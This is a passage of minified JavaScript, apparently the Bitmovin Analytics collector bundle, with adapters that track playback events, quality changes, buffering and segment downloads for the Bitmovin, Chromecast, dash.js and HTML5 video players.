y.SegmentTracker).getSegmentTracker(),r.httpRequestTrackingAdapter=new rt.Bitmovin8HttpRequestTrackingAdapter(t),r.videoCompletionTracker=new p.default,r}return l(t,n),Object.defineProperty(t.prototype,"downloadSpeedInfo",{get:function(){return this.speedMeter.getInfo()},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"segments",{get:function(){return this.segmentTracker.getSegments()},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"adModule",{get:function(){return this._adModule},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"supportsDeferredLicenseLoading",{get:function(){return!0},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"currentTime",{get:function(){try{if(null!==this.player&&null!==this.player.getCurrentTime&&!this.isAdPlaying)return this.player.getCurrentTime()}catch(n){tt.logger.warning("Analytics Collector attempted to access player, but player is not available anymore")}return this.lastTrackedCurrentTime?this.lastTrackedCurrentTime:0},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"isAdPlaying",{get:function(){return null!=(this.player.ads&&this.player.ads.getActiveAd())},enumerable:!1,configurable:!0}),t.prototype.initialize=function(n){this.registerPlayerEventListeners();this.registerUnloadEventListeners();this._adModule=new ot.Bitmovin8AdModule(this.player,this.windowEventTracker);var t=new d.HttpRequestTracking([this.httpRequestTrackingAdapter]);return[new k.ErrorDetailTracking(n.errorDetailTrackingSettingsProvider,new b.ErrorDetailBackend(n.errorDetailTrackingSettingsProvider.collectorConfig),[n.errorDetailSubscribable],t)]},t.prototype.clearValues=function(){this.speedMeter.reset()},t.prototype.clearSegments=function(){this.segmentTracker.reset()},t.prototype.getAutoPlay=function(){return this.player.getConfig().playback&&this.player.getConfig().playback.autoplay||!1},t.prototype.getCurrentPlaybackInfo=function(){var i,t=f(f({},n.prototype.getCommonPlaybackInfo.call(this)),{size:this.player.getViewMode()===e.Fullscreen?h.PlayerSize.Fullscreen:h.PlayerSize.Window,playerTech:this.getPlayerTech(),isLive:this.player.isLive(),videoDuration:g.normalizeVideoDuration(this.videoDuration),streamFormat:this.player.getStreamType(),videoWindowWidth:this.player.getContainer().offsetWidth,videoWindowHeight:this.player.getContainer().offsetHeight,isMuted:this.player.isMuted(),isCasting:this.player.isCasting(),audioLanguage:null!=this.player.getAudio()?null===(i=this.player.getAudio())||void 0===i?void 0:i.lang:void 0,subtitleEnabled:!1,droppedFrames:null!=this.player.getSource()?this.player.getDroppedVideoFrames():0});return this.applySubtitleProperties(t),this.applyPlaybackQualityProperties(t),this.applyCastingProperties(t),this.applySourceProperties(t),t},t.prototype.sourceChange=function(n,t){this.stateMachine.sourceChange(n,t,this.currentTime)},t.prototype.onError=function(){this.clearSegments()},t.prototype.registerPlayerEventListeners=function(){var n=this;this.player.on(this.player.exports.PlayerEvent.SourceUnloaded,function(){n.segmentTracker.reset();n.eventCallback(r.Event.SOURCE_UNLOADED,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.SourceLoaded,function(){n.videoCompletionTracker.reset();n.resetSourceRelatedState();n.videoDuration=n.player.getDuration();n.videoCompletionTracker.setVideoDuration(n.player.getDuration());n.eventCallback(r.Event.SOURCE_LOADED,{})});this.player.on(this.player.exports.PlayerEvent.CastStarted,function(t){n.eventCallback(r.Event.START_CAST,t)});this.player.on(this.player.exports.PlayerEvent.CastStopped,function(){n.eventCallback(r.Event.END_CAST,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.Play,function(t){"ui-seek"!==t.issuer&&n.eventCallback(r.Event.PLAY,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.Playing,function(t){"advertising-api"!==t.issuer&&n.eventCallback(r.Event.PLAYING,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.Paused,function(t){"ui-seek"!==t.issuer&&n.eventCallback(r.Event.PAUSE,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.TimeChanged,function(){n.isAdPlaying||(n.lastTrackedCurrentTime=n.player.getCurrentTime());n.eventCallback(r.Event.TIMECHANGED,{currentTime:n.lastTrackedCurrentTime})});this.player.on(this.player.exports.PlayerEvent.Seek,function(t){n.allowSeeking(t)&&n.eventCallback(r.Event.SEEK,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.Seeked,function(){n.eventCallback(r.Event.SEEKED,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.StallStarted,function(){n.eventCallback(r.Event.START_BUFFERING,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.StallEnded,function(){n.eventCallback(r.Event.END_BUFFERING,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.AudioPlaybackQualityChanged,function(){var t=n.player.getPlaybackAudioData();n.qualityChangeService.shouldAllowAudioQualityChange(t.bitrate)&&(n.qualityChangeService.setAudioBitrate(t.bitrate),n.eventCallback(r.Event.AUDIO_CHANGE,{bitrate:t.bitrate,currentTime:n.currentTime,codec:t.codec}))});this.player.on(this.player.exports.PlayerEvent.VideoPlaybackQualityChanged,function(){var t=n.player.getPlaybackVideoData();n.qualityChangeService.shouldAllowVideoQualityChange(t.bitrate)&&(n.qualityChangeService.setVideoBitrate(t.bitrate),n.eventCallback(r.Event.VIDEO_CHANGE,{width:t.width,height:t.height,bitrate:t.bitrate,currentTime:n.currentTime,codec:t.codec}))});this.player.on(this.player.exports.PlayerEvent.ViewModeChanged,function(t){"fullscreen"===t.to?n.eventCallback(r.Event.START_FULLSCREEN,{currentTime:n.currentTime}):"fullscreen"===t.from&&n.eventCallback(r.Event.END_FULLSCREEN,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.AdStarted,function(){n.eventCallback(r.Event.START_AD,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.AdFinished,function(){n.eventCallback(r.Event.END_AD,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.AdSkipped,function(){n.eventCallback(r.Event.END_AD,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.AdError,function(){n.eventCallback(r.Event.END_AD,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.Muted,function(){n.eventCallback(r.Event.MUTE,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.Unmuted,function(){n.eventCallback(r.Event.UN_MUTE,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.Error,function(t){n.eventCallback(r.Event.ERROR,{code:t.code,message:t.name,legacyData:t.data,currentTime:n.currentTime,data:{additionalData:JSON.stringify(t.data)}});t.code!==s.ErrorCode.BITMOVIN_PLAYER_LICENSING_ERROR.code&&t.code!==s.ErrorCode.SETUP_MISSING_LICENSE_WHITELIST.code||n._onLicenseCallFailed.dispatch({})});this.player.on(this.player.exports.PlayerEvent.PlaybackFinished,function(){n.eventCallback(r.Event.END,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.DownloadFinished,function(t){0===t.downloadType.indexOf("drm/license/")&&(n.drmPerformanceInfo={drmType:t.downloadType.replace("drm/license/",""),drmLoadTime:1e3*t.downloadTime})});this.player.on(this.player.exports.PlayerEvent.AudioChanged,function(){n.eventCallback(r.Event.AUDIOTRACK_CHANGED,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.SubtitleEnabled,function(){n.eventCallback(r.Event.SUBTITLE_CHANGE,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.SubtitleDisabled,function(){n.eventCallback(r.Event.SUBTITLE_CHANGE,{currentTime:n.currentTime})});this.player.on(this.player.exports.PlayerEvent.LicenseValidated,function(t){t.data.analytics&&void 0!==t.data.analytics.key?n._onLicenseKeyReceived.dispatch({licenseKey:t.data.analytics.key}):n._onLicenseCallFailed.dispatch({})})},t.prototype.registerUnloadEventListeners=function(){var n=this,t=function(){if(!n.onBeforeUnLoadEvent){n.onBeforeUnLoadEvent=!0;var t=n.lastTrackedCurrentTime;n.eventCallback(r.Event.UNLOAD,{currentTime:t})}n.release()};t=t.bind(!0);this.player.on(this.player.exports.PlayerEvent.Destroy,t);this.windowEventTracker.addEventListener("beforeunload",t);this.windowEventTracker.addEventListener("unload",t)},t.prototype.applySourceProperties=function(n){var t=this.player.getSource(),i;null!=t&&(n.videoTitle=t.title,n.mpdUrl=t.dash,n.m3u8Url=t.hls,i=nt.getSourceInfoFromBitmovinSourceConfig(t.progressive,this.player),n.progUrl=i.progUrl,"progressive"===this.player.getStreamType()&&(n.videoBitrate=i.progBitrate))},t.prototype.applySubtitleProperties=function(n){var t;this.player.subtitles&&(t=this.player.subtitles.list().find(function(n){return!0===n.enabled}));n.subtitleEnabled=null!=t;n.subtitleLanguage=null!=t?t.lang:null},t.prototype.applyPlaybackQualityProperties=function(n){var t=this.player.getPlaybackVideoData(),i;null!==t&&(n.videoBitrate=t.bitrate,n.videoPlaybackHeight=t.height,n.videoPlaybackWidth=t.width,n.videoCodec=t.codec);i=this.player.getPlaybackAudioData();null!==i&&(n.audioBitrate=i.bitrate,n.audioCodec=i.codec)},t.prototype.applyCastingProperties=function(n){var i=this.player.isCasting()||this.player.isAirplayActive()||!1,t;if(n.isCasting=i,i)if(this.player.isAirplayActive())n.castTech=o.CastTech.AirPlay;else if(t=this.player.getConfig().remotecontrol,null!=t)switch(t.type){case"googlecast":n.castTech=o.CastTech.GoogleCast;break;case"websocket":n.castTech=o.CastTech.WebSocket}},t.prototype.allowSeeking=function(n){var t=n;return Math.abs(t.position-t.seekTarget)>it.ANALYTICS_MIN_SEEK_DIFFERENCE_THRESHOLD},t}(et.InternalAdapter);t.Bitmovin8InternalAdapter=c},8700:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.Bitmovin8SegmentTrackerAdapter=void 0;var r=i(1700),u=function(){function n(n,t){var i=this;this.handleSegmentPlaybackEvent=function(n){i.segmentTracker.removeSegment(n.url)};this.segmentTracker=t;n.on(n.exports.PlayerEvent.DownloadFinished,function(n){return i.handleOnDownloadFinishEvent(n)});n.on(n.exports.PlayerEvent.SegmentPlayback,function(n){return i.handleSegmentPlaybackEvent(n)})}return n.prototype.getSegmentTracker=function(){return this.segmentTracker},n.prototype.handleOnDownloadFinishEvent=function(n){if(0===n.downloadType.indexOf("media/video")){var t=n.url,i={name:r.getURLResourceName(t),url:t,timestamp:n.timestamp};this.segmentTracker.addSegment(i)}},n}();t.Bitmovin8SegmentTrackerAdapter=u},1340:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.Bitmovin8SpeedMeterAdapter=void 0;var i=function(){function n(n,t){var i=this;this.meter=t;n.on(n.exports.PlayerEvent.DownloadFinished,function(n){return i.handleOnDownloadFinishEvent(n)})}return n.prototype.getDownloadSpeedMeter=function(){return this.meter},n.prototype.handleOnDownloadFinishEvent=function(n){n.success&&0===n.downloadType.indexOf("media/video")&&this.meter.addMeasurement({duration:n.downloadTime,size:n.size,timeToFirstByte:n.timeToFirstByte,timestamp:new Date,httpStatus:n.httpStatus})},n}();t.Bitmovin8SpeedMeterAdapter=i},5109:function(n,t,i){"use strict";var u,f=this&&this.__extends||(u=function(n,t){return u=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},u(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");u(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)});Object.defineProperty(t,"__esModule",{value:!0});t.CAFv3InternalAdapter=void 0;var e=i(3395),r=i(4057),o=i(6473),s=i(8458),h=i(3909),c=i(2033),l=function(n){function t(t,i){var r=n.call(this,i)||this;return r.context=t,r.getPlayerName=function(){return o.Player.CHROMECAST_SHAKA},r.getPlayerTech=function(){return"html5"},r.getAutoPlay=function(){return!(!r.currentItem||!r.currentItem.autoplay)&&r.currentItem.autoplay},r.getDrmPerformanceInfo=function(){return r.drmPerformanceInfo},r.stateMachine=new e.HTML5AnalyticsStateMachine(r.stateMachineCallbacks,r.opts),r.playerManager=t.getPlayerManager(),r.isSeeking=!1,r}return f(t,n),t.prototype.initialize=function(n){return this.register(),[new h.ErrorDetailTracking(n.errorDetailTrackingSettingsProvider,new s.ErrorDetailBackend(n.errorDetailTrackingSettingsProvider.collectorConfig),[n.errorDetailSubscribable],void 0)]},t.prototype.getPlayerVersion=function(){return window.cast&&window.cast.framework?window.cast.framework.VERSION:"unknown"},t.prototype.sourceChange=function(n,t){this.stateMachine.sourceChange(n,t,this.playerManager.getCurrentTimeSec())},t.prototype.getCurrentPlaybackInfo=function(){var n=this.playerManager.getStats();return{isLive:this.getIsLive(),playerTech:this.getPlayerTech(),videoDuration:c.normalizeVideoDuration(this.mediaInformation?this.mediaInformation.duration:0),videoPlaybackHeight:n.height,videoPlaybackWidth:n.width,audioCodec:this.activeAudioTrack?this.activeAudioTrack.trackContentType:void 0,audioLanguage:this.activeAudioTrack?this.activeAudioTrack.language:void 0,subtitleLanguage:this.activeTextTracks?this.activeTextTracks.map(function(n){return n.language}).join(","):void 0,droppedFrames:0}},t.prototype.register=function(){var n=this;this.playerManager.addEventListener("PLAYER_LOADING",function(){n.eventCallback(r.Event.SETUP,{})});this.playerManager.addEventListener("PLAYER_LOAD_COMPLETE",function(t){var f=n.playerManager.getAudioTracksManager(),i,u;n.activeAudioTrack=f.getActiveTrack();i=n.playerManager.getTextTracksManager();n.activeTextTracks=i.getActiveTracks();u=n.playerManager.getQueueManager();n.currentItem=u.getCurrentItem();n.mediaInformation=t.media;n.eventCallback(r.Event.READY,{})});this.playerManager.addEventListener("PLAY",function(t){n.eventCallback(r.Event.PLAY,{currentTime:t.currentMediaTime})});this.playerManager.addEventListener("PAUSE",function(){n.onPaused(n.playerManager.getCurrentTimeSec())});this.playerManager.addEventListener("ERROR",function(t){var i=null!=t.error?t.error:void 0;n.eventCallback(r.Event.ERROR,{currentTime:n.playerManager.getCurrentTimeSec(),code:t.detailedErrorCode,message:t.reason,legacyData:i,data:{additionalData:JSON.stringify(i)}})});this.playerManager.addEventListener("SEEKING",function(t){n.isSeeking=!0;n.onPaused(t.currentMediaTime);n.eventCallback(r.Event.SEEK,{currentTime:t.currentMediaTime})});this.playerManager.addEventListener("SEEKED",function(t){n.isSeeking=!1;n.eventCallback(r.Event.SEEKED,{currentTime:t.currentMediaTime})});this.playerManager.addEventListener("STALLED",function(){});this.playerManager.addEventListener("BUFFERING",function(t){!n.isSeeking&&t.isBuffering&&n.eventCallback(r.Event.START_BUFFERING,{currentTime:n.currentTime})});this.playerManager.addEventListener("TIME_UPDATE",function(t){n.isSeeking||n.eventCallback(r.Event.TIMECHANGED,{currentTime:t.currentMediaTime})});this.playerManager.addEventListener("REQUEST_LOAD",function(){n.currentItem&&n.eventCallback(r.Event.PLAYLIST_TRANSITION,{currentTime:n.playerManager.getCurrentTimeSec()})})},t.prototype.onPaused=function(n){this.eventCallback(r.Event.PAUSE,{currentTime:n})},Object.defineProperty(t.prototype,"currentTime",{get:function(){return this.playerManager.getCurrentTimeSec()},enumerable:!1,configurable:!0}),t.prototype.getIsLive=function(){return!(!this.mediaInformation||"LIVE"!==this.mediaInformation.streamType)||!!this.playerManager.getLiveSeekableRange()||void 0},t}(i(9782).InternalAdapter);t.CAFv3InternalAdapter=l},4827:function(n,t,i){"use strict";var r,f=this&&this.__extends||(r=function(n,t){return r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},r(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");r(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)});Object.defineProperty(t,"__esModule",{value:!0});t.DashjsInternalAdapter=void 0;var e=i(4057),o=i(9624),s=i(6473),h=i(8458),c=i(3909),u=i(6767),l=function(n){function t(t,i){var r=n.call(this,void 0,i)||this;return r.mediaPlayer=t,r.getPlayerName=function(){return s.Player.DASHJS},r.getPlayerVersion=function(){return r.mediaPlayer.getVersion()},r}return f(t,n),t.prototype.initialize=function(t){var r=this,i;n.prototype.initialize.call(this,t);i=null;try{i=this.mediaPlayer.getVideoElement()}catch(n){}return i?(this.setMediaElement(i),this.registerMediaElementEventsForDashJS()):this.mediaPlayer.on("manifestLoaded",function(){try{i=r.mediaPlayer.getVideoElement();r.setMediaElement(i);r.registerMediaElementEventsForDashJS()}catch(n){u.logger.errorMessageToUser("Something went wrong while getting underlying HTMLVideoElement. Not possible to attach adapter and initialize Bitmovin Analytics. Error: ",n);r.release()}},this),[new c.ErrorDetailTracking(t.errorDetailTrackingSettingsProvider,new h.ErrorDetailBackend(t.errorDetailTrackingSettingsProvider.collectorConfig),[t.errorDetailSubscribable],void 0)]},t.prototype.registerMediaElementEventsForDashJS=function(){var n=this,t=this.mediaElement;t&&this.listenToMediaElementEvent("playing",function(){var i=t.currentTime;n.needsFirstPlayIntent=!1;n.eventCallback(e.Event.TIMECHANGED,{currentTime:i})})},t.prototype.getMIMEType=function(){return o.MIMETypes.DASH},t.prototype.getStreamURL=function(){if(this.mediaPlayer){var n=this.mediaPlayer.getSource();return n?n.toString():void 0}},t.prototype.getCurrentQualityLevelInfo=function(){if(!this.mediaPlayer)return null;try{var n=this.mediaPlayer.getBitrateInfoListFor("video")[this.mediaPlayer.getQualityFor("video")];return null==n?null:{width:n.width,height:n.height,bitrate:n.bitrate}}catch(n){u.logger.warning("Quality information not available")}return null},t}(i(3434).HTML5InternalAdapter);t.DashjsInternalAdapter=l},3434:function(n,t,i){"use strict";var f,s=this&&this.__extends||(f=function(n,t){return f=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},f(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");f(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)}),u=this&&this.__assign||function(){return u=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},u.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.HTML5InternalAdapter=void 0;var h=i(3395),c=i(5939),r=i(4057),l=i(9624),a=i(6473),o=i(2108),v=i(5001),y=i(2033),e=i(1700),p=i(1700),w=i(9782),b=i(6009),k=function(n){function t(t,i){var r=n.call(this,i)||this;return r.mediaElement=t,r.onBeforeUnLoadEvent=!1,r.previousMutedValue=!1,r.getPlayerName=function(){return a.Player.HTML5},r.getPlayerTech=function(){return"html5"},r.getAutoPlay=function(){return!!r.mediaElement&&r.mediaElement.autoplay},r.getDrmPerformanceInfo=function(){return r.drmPerformanceInfo},r.isLive=function(){return!!r.mediaElement&&r.mediaElement.duration===1/0},r.initializeStateMachine(),r.mediaElEventHandlers=[],r.bufferingTimeout=void 0,r.isBuffering=!1,r.lastIsLiveStatus=!1,r.isPaused=!1,r.isSeeking=!1,r.previousMediaTime=0,r.previousClientTime=0,r.needsReadyEvent=!0,r.needsFirstPlayIntent=!0,r.mediaElementSet=!1,r.videoCompletionTracker=new c.default,r.playerStatisticsProvider=new b.default(t),r}return s(t,n),Object.defineProperty(t.prototype,"segments",{get:function(){return[]},enumerable:!1,configurable:!0}),t.prototype.resetSourceRelatedState=function(){this.drmPerformanceInfo=void 0;this.playerStatisticsProvider.reset()},t.prototype.initialize=function(){return this.mediaElement&&this.setMediaElement(),this.registerWindowEvents(),[]},t.prototype.getStreamSources=function(n){if(!n)return{};switch(this.getStreamType()){case"hls":return{m3u8Url:n};case"dash":return{mpdUrl:n};default:return{progUrl:n}}},t.prototype.getCurrentPlaybackInfo=function(){var n=u(u(u({},this.getCommonPlaybackInfo()),this.getStreamSources(this.getStreamURL())),{streamFormat:this.getStreamType(),isLive:this.isLive(),size:p.isVideoInFullscreen()?o.PlayerSize.Fullscreen:o.PlayerSize.Window,playerTech:this.getPlayerTech(),droppedFrames:this.playerStatisticsProvider.getDroppedFrames()}),t;return this.mediaElement&&(n=u(u({},n),{videoDuration:y.normalizeVideoDuration(this.mediaElement.duration),isMuted:this.mediaElement.muted,videoWindowHeight:this.mediaElement.height,videoWindowWidth:this.mediaElement.width})),t=this.getCurrentQualityLevelInfo(),t&&(n=u(u({},n),{videoPlaybackHeight:t.height,videoPlaybackWidth:t.width,videoBitrate:t.bitrate})),n},Object.defineProperty(t.prototype,"currentTime",{get:function(){if(!this.mediaElement)throw new Error("No media attached");return this.mediaElement.currentTime},enumerable:!1,configurable:!0}),t.prototype.setMediaElement=function(n){if(void 0===n&&(n=null),n&&this.mediaElement&&(this.unregisterMediaElement(),this.mediaElementSet=!1),n&&(this.mediaElement=n),!this.mediaElement)throw new Error("No media element owned");if(this.mediaElementSet)throw new Error("Media element already set (only call this once)");this.mediaElementSet=!0;this.registerMediaElement();this.onMaybeReady()},t.prototype.getMIMEType=function(){var n=this.getStreamURL();if(n&&void 0!==n)return l.getMIMETypeFromFileExtension(n)},t.prototype.getStreamType=function(){var n=this.getMIMEType();if(n)return v.getStreamTypeFromMIMEType(n)},t.prototype.getStreamURL=function(){var n=this.mediaElement;if(n)return n.src},t.prototype.resetMedia=function(){this.mediaElement=void 0;this.mediaElEventHandlers=[];window.clearTimeout(this.bufferingTimeout)},t.prototype.registerMediaElement=function(){var n=this,t=this.mediaElement;t&&(this.wrapMediaElementLoad(t),this.listenToMediaElementEvent("loadstart",function(){n.eventCallback(r.Event.READY,{})}),this.listenToMediaElementEvent("loadedmetadata",function(){1===t.readyState&&(n.checkQualityLevelAttributes(!0),null!=n.mediaElement&&(n.videoCompletionTracker.reset(),n.videoCompletionTracker.setVideoDuration(n.mediaElement.duration),n.previousMutedValue=n.mediaElement.muted))}),this.listenToMediaElementEvent("play",function(){var i=t.currentTime;n.needsFirstPlayIntent=!1;n.eventCallback(r.Event.PLAY,{currentTime:i})}),this.listenToMediaElementEvent("pause",function(){n.onPaused()}),this.listenToMediaElementEvent("playing",function(){clearTimeout(n.bufferingTimeout);n.isPaused=!1}),this.listenToMediaElementEvent("error",function(){var u,f,e=t.currentTime,i=t.error;n.eventCallback(r.Event.ERROR,{currentTime:e,code:null!==(u=null==i?void 0:i.code)&&void 0!==u?u:void 0,message:null!==(f=null==i?void 0:i.message)&&void 0!==f?f:void 0,data:{}})}),this.listenToMediaElementEvent("volumechange",function(){var f=t.muted,u=t.currentTime,e=t.volume,i=n.isAudioMuted(f,e);n.previousMutedValue!==i&&(i?n.eventCallback(r.Event.MUTE,{currentTime:u}):n.eventCallback(r.Event.UN_MUTE,{currentTime:u}),n.previousMutedValue=i)}),this.listenToMediaElementEvent("seeking",function(){var i=t.currentTime;n.eventCallback(r.Event.SEEK,{currentTime:i})}),this.listenToMediaElementEvent("seeked",function(){var i=t.currentTime;clearTimeout(n.bufferingTimeout);n.eventCallback(r.Event.SEEKED,{currentTime:i})}),this.listenToMediaElementEvent("timeupdate",function(){var i=t.currentTime;n.isBuffering=!1;n.isSeeking=!1;n.needsFirstPlayIntent||(n.isPaused||n.eventCallback(r.Event.TIMECHANGED,{currentTime:i}),n.checkQualityLevelAttributes(),n.checkSeeking(),n.checkPlayheadProgress(),n.previousMediaTime=i)}),this.listenToMediaElementEvent("stalled",function(){}),this.listenToMediaElementEvent("waiting",function(){n.checkSeeking();n.onBuffering()}))},t.prototype.listenToMediaElementEvent=function(n,t){if(!this.mediaElement)throw new Error("No media attached");var i=t.bind(this);this.mediaElEventHandlers.push({event:n,handler:i});this.mediaElement.addEventListener(n,i,!1)},t.prototype.onMaybeReady=function(){this.needsReadyEvent&&this.mediaElement&&(this.needsReadyEvent=!1,this.getCurrentPlaybackInfo(),this.videoCompletionTracker.reset(),this.videoCompletionTracker.setVideoDuration(this.mediaElement.duration),this.eventCallback(r.Event.READY,{currentTime:this.currentTime}))},t.prototype.unregisterMediaElement=function(){if(!this.mediaElement)throw new Error("No media attached");var n=this.mediaElement;this.mediaElEventHandlers.forEach(function(t){n.removeEventListener(t.event,t.handler)});this.resetMedia()},t.prototype.onBuffering=function(){if(!this.mediaElement)throw new Error("No media attached");var n=this.mediaElement.currentTime;this.isBuffering||this.isPaused&&!this.isSeeking||(this.isSeeking?this.eventCallback(r.Event.SEEK,{currentTime:n}):this.eventCallback(r.Event.START_BUFFERING,{currentTime:n}),this.isBuffering=!0)},t.prototype.onPaused=function(n){if(!this.isPaused){if(!this.mediaElement)throw new Error("No media attached");n||(n=this.mediaElement.currentTime);this.eventCallback(r.Event.PAUSE,{currentTime:n});this.isPaused=!0}},t.prototype.registerWindowEvents=function(){this.windowEventTracker.addEventListener("beforeunload",this.onPageClose.bind(this));this.windowEventTracker.addEventListener("unload",this.onPageClose.bind(this))},t.prototype.onPageClose=function(){if(!this.onBeforeUnLoadEvent){this.onBeforeUnLoadEvent=!0;var n=this.mediaElement,t=void 0;null!=n&&(t=n.currentTime);this.eventCallback(r.Event.UNLOAD,{currentTime:t})}this.release()},t.prototype.checkPlayheadProgress=function(){var i=this,n;if(!this.mediaElement)throw new Error("No media attached");n=this.mediaElement;n.paused&&this.onPaused();clearTimeout(this.bufferingTimeout);this.bufferingTimeout=window.setTimeout(function(){n.paused||n.ended&&!i.isBuffering||n.currentTime-i.previousMediaTime<t.BUFFERING_TIMECHANGED_TIMEOUT&&i.onBuffering()},t.BUFFERING_TIMECHANGED_TIMEOUT)},t.prototype.checkQualityLevelAttributes=function(n){var u,t,e;if(void 0===n&&(n=!1),!this.mediaElement)throw new Error("No media attached");if(u=this.mediaElement,t=this.getCurrentQualityLevelInfo(),t){var i=t.bitrate,o=t.width,s=t.height,f=this.isLive();(f!==this.lastIsLiveStatus&&(this.lastIsLiveStatus=f),null!=i&&this.qualityChangeService.shouldAllowVideoQualityChange(i))&&(this.qualityChangeService.setVideoBitrate(i),e={width:o,height:s,bitrate:i,currentTime:u.currentTime},n||this.eventCallback(r.Event.VIDEO_CHANGE,e))}},t.prototype.sourceChange=function(n,t){this.stateMachine.sourceChange(n,t,this.mediaElement?this.mediaElement.currentTime:void 0)},t.prototype.getSelectedSubtitleFromMediaElement=function(n){var i,r,t,u;if(null!=n.textTracks){for(i=0,r=n.textTracks;i<r.length;i++)if(t=r[i],null!=t.mode&&"showing"===t.mode)return u=null!=t.language&&t.language.length>0,{enabled:u,language:u?t.language:void 0};return{enabled:!1}}},t.prototype.initializeStateMachine=function(){this.stateMachine=new h.HTML5AnalyticsStateMachine(this.stateMachineCallbacks,this.opts);this.stateMachine.callEvent(r.Event.SETUP,{},0)},t.prototype.wrapMediaElementLoad=function(n){var t=this,i=n.load;n.load=function(){for(var u=[],r=0;r<arguments.length;r++)u[r]=arguments[r];t.sourceChange({},e.getCurrentTimestamp());i.apply(n,u)}},t.prototype.checkSeeking=function(){if(!this.mediaElement)throw new Error("No media attached");var t=this.mediaElement.currentTime,i=Math.abs(t-this.previousMediaTime),n=(e.getCurrentTimestamp()-this.previousClientTime)/1e3;i>2*n&&(this.isSeeking=!0,this.onPaused(this.previousMediaTime+n));this.previousClientTime=e.getCurrentTimestamp()},t.BUFFERING_TIMECHANGED_TIMEOUT=1e3,t}(w.InternalAdapter);t.HTML5InternalAdapter=k},889:function(n,t,i){"use strict";var r,u=this&&this.__extends||(r=function(n,t){return r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},r(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");r(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)});Object.defineProperty(t,"__esModule",{value:!0});t.HTMLVideoElementInternalAdapter=void 0;var f=i(6473),e=i(1700),o=function(n){function t(t,i){var r=n.call(this,t,i)||this;return r.getPlayerName=function(){return f.Player.HTML5},r.getPlayerVersion=function(){var n=e.getBrowserInfo();return"".concat(n.name," ").concat(n.version)},r}return u(t,n),t.prototype.getStreamURL=function(){if(this.mediaElement)return this.mediaElement.currentSrc},t.prototype.getCurrentQualityLevelInfo=function(){return{bitrate:void 0,width:this.mediaElement?this.mediaElement.videoWidth:void 0,height:this.mediaElement?this.mediaElement.videoHeight:void 0}},t}(i(3434).HTML5InternalAdapter);t.HTMLVideoElementInternalAdapter=o},7082:function(n,t,i){"use strict";var r,e=this&&this.__extends||(r=function(n,t){return r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},r(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");r(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)}),u=this&&this.__assign||function(){return u=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},u.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.HlsInternalAdapter=void 0;var o=i(5032),f=i(4057),s=i(9624),h=i(6473),c=i(8458),l=i(3909),a=i(3434),v=i(5003),y=function(n){function t(t,i){var r=n.call(this,void 0,i)||this;return 